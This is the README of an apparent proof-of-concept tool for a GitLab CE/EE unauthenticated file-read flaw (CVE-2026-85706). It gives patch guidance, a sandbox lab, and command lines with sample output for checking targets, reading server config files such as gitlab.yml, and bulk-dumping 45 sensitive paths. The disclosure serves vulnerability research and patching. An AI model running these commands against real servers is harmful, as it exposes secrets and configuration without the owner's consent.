
PoC for CVE-2026-85706: GitLab CE/EE unauthenticated arbitrary local file read
CVE-2026-85706 is a critical path-traversal / missing-authentication issue in the GitLab CE/EE
Repository Commits and Repository Files APIs: an unauthenticated attacker can make the server read
arbitrary files and obtain their content through the error channel. CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
GitLab's official title is "Path Traversal issue in repository commits API impacts GitLab CE/EE". The fix shipped on 2026-09-10 in 19.3.2 / 19.2.6 / 19.1.8.
[!IMPORTANT] Running a self-managed GitLab <= 19.3.1? Upgrade to 19.3.2 / 19.2.6 / 19.1.8.
[!WARNING] Authorized use only. Run this tool only against systems you own or are explicitly permitted to test.
This repository holds an independent proof of concept, a minimal reproduction lab and a full technical analysis:
No data captured from any third-party system is included.
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
The lab listens on 127.0.0.1 only and reads only inside its lab/vault/ sandbox, so it can never touch
files on your real machine.
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
Add --insecure for self-signed certificates, and prefer the numeric project id over an encoded path
(--project <id> instead of group%2Fproject).
| Command | Purpose | Key options |
|---|---|---|
check | Is the target vulnerable? Compares the responses of every bypass vector | --canary-path, --no-bypass-probe |
read | Read one file and report whether its content leaks | --file <path>, --media <type> |
enum | Probe a list of paths and classify each one | --wordlist, --wordlist-file |
dump | Save every readable file to disk, with a manifest and the raw responses | --files, --files-file, --outdir |
The labels printed by check:
| Label | Request path |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits (Workhorse-buffered, control case) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - is the target vulnerable?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
Exit codes: 0 = vulnerable; 1 = not exploitable with the tested vectors (patched, or the route unreachable).
Two details worth knowing:
Workhorse bypass probe block is the routing proof: file only exists when Workhorse buffered and
signed the body, so a 400 {"error":"file is missing"} proves the bypass route skipped that pipeline
while still reaching the API. On a patched build that last line reads HTTP 401.commits-canonical -> 401) is the control case: there Workhorse rewrites
file.path, so the attacker's value never reaches the vulnerable code.read - read a single file$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
Exit codes: 0 = content disclosed, or a pre-authentication read confirmed by the baseline; 1 = no pre-auth read observed.
enum / dump - bulk probingpython poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt ships 45 interesting GitLab/Linux paths; --wordlist / --files can be given inline or
via a file, and both forms can be combined. These are the only two subcommands that touch real file
contents - write the output outside this repository and never publish what they capture.
| Option | Meaning |
|---|---|
--url <base URL> | Target base URL (required) |
--project <id or encoded path> | Public project id (123) or URL-encoded path (group%2Fproject), required |
--token <PRIVATE-TOKEN> | Optional; test the authenticated path |
--insecure | Skip TLS verification (self-signed certificates) |
-v, --verbose | Print every request/response to stderr |
--canary-path <path> | Guaranteed-missing path used as the vulnerability baseline |
--color <mode> | auto (default, colours on a real terminal), always, never |
Option order matters: shared options go after the subcommand - check --url ... --insecure, not
--url ... check.
| Test | Result |
|---|---|
Patched control - gitlab.com, 19.3.2+ | Every vector returns 401; the only other answer is the 400 {"error":"file is missing"} that proves the routing bypass |
Local lab - lab/vulnerable_api.py | Reproduces the Rails-side trust bug end to end; --patched gives the comparison build |
| Real self-managed instance - 19.3.1, written authorization | Confirmed vulnerable; host and project details are deliberately not published here. Aggregated results in ANALYSIS.md, section 4.3 |
This material is provided for security research and authorized testing - your own lab, a bug-bounty program, or a penetration test with written permission. Only use it against systems you own or are explicitly allowed to test. Unauthorized access to third-party systems is illegal. Provided as is, without warranty of any kind.